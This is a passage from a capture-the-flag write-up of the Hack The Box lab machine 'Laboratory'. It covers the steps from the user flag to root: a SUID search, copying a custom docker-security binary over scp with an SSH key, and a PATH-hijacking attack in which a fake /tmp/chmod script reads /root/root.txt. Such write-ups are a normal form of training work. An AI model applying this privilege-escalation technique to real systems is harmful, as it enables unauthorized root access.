-r--r----- 1 root   dexter   33 Dec  8 11:37 user.txt
dex[email protected]:~$ cat user.txt 

Ok, restart with linpeas, lse, linux exploit suggestion scripts, but nothing found, so I search for "search for suid", in order to identify the files that can give me access to something with superuser privileges.

How to Find Files With SUID and SGID Permissions in Linux
In this tutorial, we will explain how to find files with SUID (Setuid) and SGID (Setgid) special permissions in Linux filesystem.


[email protected]:~/tmp$ find / -perm /4000 2>/dev/null

Another moment where I lost time to search in all the files, using the GTFOBins portal, but no one of them seems to give me some possible escalation, the only file that attracts me (it's not so common to find it) is the docker-security binary located on the /usr/local/bin/ folder. Launching it, nothing happens, also passing arguments, no happens, so I need to download it and disassemble to understand what inside. To download the file from the target I use the scp command, that works on the concept of the ssh command.

┌─[[email protected]]─[~/Dropbox/hackthebox/_10.10.10.216 - Laboratory (lin)/attack/gitlab1]  
└──╼ $scp -i id_rsa [email protected]:/usr/local/bin/docker-security ./
The authenticity of host 'laboratory.htb (' can't be established.
ECDSA key fingerprint is SHA256:XexmI3GbFIB7qyVRFDIYvKcLfMA9pcV9LeIgJO5KQaA.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'laboratory.htb' (ECDSA) to the list of known hosts.
docker-security                                                                                                                                                        100%   16KB 166.5KB/s   00:00    

To disassemble it, I use IDA Pro.

It seems that is used only to change the permission on two specific files. Ok, if this is launched with administrative privileges, I can substitute the chmod command with my custom command and operate as I like. To proceed, I have to create an executable script named chmod, insert the path where I provide this file in the PATH environment variable so it's the first one.

[email protected]:/usr/local/bin$ echo "cat /root/root.txt" > /tmp/chmod
[email protected]:/usr/local/bin$ export PATH=/tmp:$PATH
[email protected]:/usr/local/bin$ ./docker-security 
[email protected]:/usr/local/bin$ ls -la /tmp/
total 52
drwxrwxrwt 12 root   root   4096 Dec 12 12:03 .
drwxr-xr-x 20 root   root   4096 Sep  5 17:18 ..
-rw-r--r--  1 dexter dexter   19 Dec 12 12:02 chmod
drwxrwxrwt  2 root   root   4096 Dec 12 10:41 .font-unix
drwxrwxrwt  2 root   root   4096 Dec 12 10:41 .ICE-unix
drwx------  3 root   root   4096 Dec 12 10:41 systemd-private-6e391a3d65b9450ebec418c2281a4c0f-apache2.service-q0YVCf
drwx------  3 root   root   4096 Dec 12 10:41 systemd-private-6e391a3d65b9450ebec418c2281a4c0f-systemd-logind.service-LRC3nf
drwx------  3 root   root   4096 Dec 12 10:41 systemd-private-6e391a3d65b9450ebec418c2281a4c0f-systemd-resolved.service-0F7Mdj
drwx------  3 root   root   4096 Dec 12 10:41 systemd-private-6e391a3d65b9450ebec418c2281a4c0f-systemd-timesyncd.service-DXv8ch
-rw-rw----  1 dexter dexter    0 Dec 12 12:00 test.t
drwxrwxrwt  2 root   root   4096 Dec 12 10:41 .Test-unix
drwx------  2 root   root   4096 Dec 12 10:41 vmware-root_876-2689209388
drwxrwxrwt  2 root   root   4096 Dec 12 10:41 .X11-unix
drwxrwxrwt  2 root   root   4096 Dec 12 10:41 .XIM-unix

# no execution permission

[email protected]:/usr/local/bin$ chmod +x /tmp/chmod 
[email protected]:/usr/local/bin$ ./docker-security 

I don't know why it is executed two times, anyway... that's all folks. Happy reversing!

The awesome image used in this article was created by Ayman Abbas.